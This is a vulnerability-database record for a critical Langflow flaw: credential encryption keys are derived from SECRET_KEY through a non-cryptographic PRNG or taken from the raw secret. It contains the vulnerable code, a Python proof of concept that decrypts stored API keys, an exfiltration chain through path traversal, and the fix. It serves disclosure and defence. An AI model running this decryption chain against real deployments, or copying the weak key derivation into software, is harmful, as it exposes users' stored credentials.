{"schema":"threatline.record/2","record":{"id":"CVE-2026-9205","aliases":["GHSA-jxw3-mjmx-3pqm","PYSEC-2026-4235"],"summary":"Langflow: Weak Fernet Key via random.seed()","details":"### Summary\n\nLangflow uses Python's `random` module (Mersenne Twister, a non-cryptographic PRNG) seeded with the `SECRET_KEY` to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the `SECRET_KEY` is shorter than 32 characters — a common scenario for self-hosted deployments using simple/memorable secrets — the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the `SECRET_KEY` (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required.\n\nEven when `SECRET_KEY` is 32+ characters (the \"safe\" branch), the raw key material is used directly as the Fernet key — meaning exfiltrating the `secret_key` file is sufficient to decrypt all credentials without any additional computation.\n\n**Severity:** Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1)\n**CWE-338:** Weak PRNG | **CWE-321:** Hard-coded Cryptographic Key | **CWE-311:** Missing Encryption of Sensitive Data\n\n### Details\n\n**Root cause: `src/backend/base/langflow/services/auth/service.py`, lines 651–663**\n\n```python\nMINIMUM_KEY_LENGTH = 32\n\ndef _ensure_valid_key(self, raw_key: str) -> bytes:\n    if len(raw_key) < MINIMUM_KEY_LENGTH:\n        random.seed(raw_key)                                   # Non-cryptographic PRNG seeded with the secret\n        key = bytes(random.getrandbits(8) for _ in range(32)) # Fully deterministic output\n        key = base64.urlsafe_b64encode(key)\n    else:\n        key = self._add_padding(raw_key).encode()              # Raw secret IS the Fernet key\n    return key\n\ndef _get_fernet(self) -> Fernet:\n    secret_key = self.settings.auth_settings.SECRET_KEY.get_secret_value()\n    valid_key = self._ensure_valid_key(secret_key)\n    return Fernet(valid_key)\n```\n\nThe identical logic is duplicated in `src/backend/base/langflow/services/auth/utils.py`, lines 292–318 (called by `DatabaseVariableService.create_variable` and `update_variable`).\n\n**What is encrypted under this key:**\nAll variables stored with `type = \"Credential\"` — this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:\n\n```python\n# services/variable/service.py\nencrypted_value = auth_utils.encrypt_api_key(value) if type_ == CREDENTIAL_TYPE else value\n```\n\n**Why this is critical in combination with the [MCP path traversal](https://github.com/langflow-ai/langflow/security/advisories/GHSA-95rw-c7w3-xh7f):**\nThe `secret_key` file is stored at `/app/data/.cache/langflow/secret_key` — readable via the MCP path traversal vulnerability. Once exfiltrated:\n- If `len(secret_key) < 32`: run `random.seed(secret_key)` → derive identical key → decrypt all credentials instantly\n- If `len(secret_key) >= 32`: pad the key directly → decrypt all credentials instantly\n\nNo brute force needed in either case once the file is read.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n# Requires: pip install cryptography\n\nimport random\nimport base64\nfrom cryptography.fernet import Fernet\n\n# --- Scenario A: SHORT secret key (< 32 chars) --- triggers vulnerable PRNG branch\ndef decrypt_short_key(secret_key: str, ciphertext: str) -> str:\n    random.seed(secret_key)\n    key_bytes = bytes(random.getrandbits(8) for _ in range(32))\n    fernet_key = base64.urlsafe_b64encode(key_bytes)\n    return Fernet(fernet_key).decrypt(ciphertext.encode()).decode()\n\n# --- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario\ndef decrypt_long_key(secret_key: str, ciphertext: str) -> str:\n    padding_needed = 4 - len(secret_key) % 4\n    padded = secret_key + \"=\" * padding_needed\n    return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()\n\n# Values obtained from /app/data/.cache/langflow/secret_key (exfiltrated)\n# and from SELECT value FROM variable WHERE type='Credential' in langflow.db\nSECRET_KEY = \"DJMcAXyLbLrKRmPRTBNlJzY4gkbe3g1lyDgJ90c8p0E\"  # 43 chars → long branch\nCIPHERTEXT = \"gAAAAABpux-Gz_3PFcaPJF1aqZAUfB76OomPJ8rvp9Q8hKvBVG_GgvSIdWwgknXqO0rVUbfSiflKFp6wDdeU9uWy_sPsKPLBr_i5ZOPAAP2c5EKkx5vtc1M=\"\n\nplaintext = decrypt_long_key(SECRET_KEY, CIPHERTEXT)\nprint(f\"Decrypted credential: {plaintext}\")\n# Output: sk-test-SENTINEL-VALUE-12345\n```\n\n**Confirmed on Langflow v1.7.3:**\n- Database path: `/app/.venv/lib/python3.12/site-packages/langflow/langflow.db`\n- Two `Credential`-type variables found in the `variable` table\n- Both decrypted successfully: `\"dummy\"` and `\"sk-test-SENTINEL-VALUE-12345\"`\n- The sentinel value (`sk-test-SENTINEL-VALUE-12345`) was stored via the API and immediately recovered from raw DB ciphertext using only the exfiltrated `secret_key`\n\n**End-to-end chain (with MCP path traversal):**\n```bash\n# Step 1: Exfiltrate secret_key via MCP path traversal (no admin required, any authenticated user)\n# Step 2: Query DB credentials via path traversal (SQLite file readable)\n# Step 3: Decrypt offline — zero brute force, instant\npython3 poc_decrypt.py \"$SECRET_KEY\" \"$CIPHERTEXT\"\n# → all stored API keys revealed\n```\n\n### Impact\n\nAll stored user credentials are at risk in any Langflow deployment where an attacker can read the `secret_key` file. Combined with the MCP path traversal vulnerability, this creates a complete remote credential exfiltration chain requiring only a low-privilege account:\n\n- **OpenAI, Anthropic, and other LLM provider API keys** stored by any user are decryptable\n- **Database connection strings and passwords** stored as credentials are exposed\n- **OAuth tokens and webhook secrets** stored via the Variables UI are exposed\n- **All users on the instance** are affected — credentials are stored per-user in the shared database but all encrypted under the same instance-wide `SECRET_KEY`\n\nIn multi-tenant or enterprise Langflow deployments, a single attacker account is sufficient to exfiltrate every credential stored by every user on the instance. The attack is fully offline after the two file reads (secret_key + database), leaving no server-side log traces.\n\n\n### Fix\n\nFixed in **v1.10.1** by PR [#13704](https://github.com/langflow-ai/langflow/pull/13704) (commit `094694d3f2`).\n\n`ensure_fernet_key()` (`src/backend/base/langflow/services/auth/utils.py`) no longer seeds Python's non-cryptographic `random` module for short `SECRET_KEY` values. The 32-byte key is now derived deterministically with SHA-256:\n\n```python\ndef ensure_fernet_key(secret_key: str) -> bytes:\n    if len(secret_key) < MINIMUM_SECRET_KEY_LENGTH:\n        digest = hashlib.sha256(secret_key.encode()).digest()  # 32 bytes\n        key = base64.urlsafe_b64encode(digest)\n    else:\n        key = add_base64_padding(secret_key).encode()\n    return key\n```\n\nBackward-compatible decryption of ciphertext written under the old PRNG-derived key is preserved via `get_fernet_for_decryption()`, which returns a `MultiFernet` trying the new SHA-256 key first and a legacy key second. The legacy key is reproduced with a local `random.Random(secret_key)` instance (not the global `random` module), so it can decrypt old data without ever being usable to derive new keys or mutating global PRNG state. All new encryption goes through the SHA-256 key only.\n\n**Affected versions:** <= 1.10.0\n**Patched version:** 1.10.1\n\n**Operator note:** deployments running with a `SECRET_KEY` shorter than 32 characters derive a different Fernet key after upgrading to 1.10.1+ and must re-enter previously stored credentials (existing ciphertext is still readable for migration, but new writes use the new key). The default generated `SECRET_KEY` (`secrets.token_urlsafe(32)`, 43 characters) takes the long-key branch and was never affected by the PRNG issue.","categories":["Applications & CMS"],"product":"langflow","vendor":"IBM","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-jxw3-mjmx-3pqm","source_modified_at":"2026-10-05T22:31:37Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"langflow"},"range":"<= 1.10.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-9205","source_modified_at":"2026-08-07T12:56:44.463Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"Langflow OSS","vendor":"IBM","versions":[{"lessThanOrEqual":"1.10.3","status":"affected","version":"1.0.0","versionType":"semver"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-jxw3-mjmx-3pqm","source_modified_at":"2026-10-15T14:56:00.653899238Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"langflow","ecosystem":"PyPI","purl":"pkg:pypi/langflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.10.1"}]}],"versions":["0.0.31","0.0.32","0.0.33","0.0.40","0.0.44","0.0.45","0.0.46","0.0.52","0.0.53","0.0.54","0.0.55","0.0.56","0.0.57","0.0.58","0.0.61","0.0.62","0.0.63","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.75","0.0.76","0.0.78","0.0.79","0.0.80","0.0.81","0.0.83","0.0.84","0.0.85","0.0.86","0.0.87","0.0.88","0.0.89","0.1.0","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.2.0","0.2.1"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-jxw3-mjmx-3pqm","source_modified_at":"2026-10-05T22:31:37Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"langflow"},"version":"1.10.1"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-jxw3-mjmx-3pqm","source_modified_at":"2026-10-15T14:56:00.653899238Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"langflow","ecosystem":"PyPI","purl":"pkg:pypi/langflow"},"version":"1.10.1"}],"cvss":9.1,"severity":"Critical","kev":{"listed":false},"epss":{"probability":0.00302,"percentile":0.21736,"score_date":"2026-10-23"},"published_at":"2026-08-05T18:09:11.795Z","modified_at":"2026-10-15T14:56:00.653899238Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-jxw3-mjmx-3pqm","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-05T22:31:37Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-9205","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-08-07T12:56:44.463Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-jxw3-mjmx-3pqm","fetched_at":"2026-10-23T18:48:36.087640Z","source_modified_at":"2026-10-15T14:56:00.653899238Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-9205","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"url":"https://github.com/langflow-ai/langflow/security/advisories/GHSA-jxw3-mjmx-3pqm","source":"GitHub Advisory Database"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-9205","source":"GitHub Advisory Database"},{"url":"https://github.com/langflow-ai/langflow/pull/13704","source":"GitHub Advisory Database"},{"url":"https://github.com/langflow-ai/langflow/commit/094694d3f20c1da499f4d8dbac15c510609e3026","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://www.ibm.com/support/pages/node/7282648","tags":["vendor-advisory","patch"]},{"url":"https://github.com/advisories/GHSA-jxw3-mjmx-3pqm","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"none","automatable":"no","technical_impact":"total","assessed_at":"2026-08-06T03:55:52.571626Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"product","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-15T14:56:00.653899238Z","content_hash":"43dc7a03ff3069a9439660139d4f616622141545c95f407db4ae7b8548a9f44f"}}
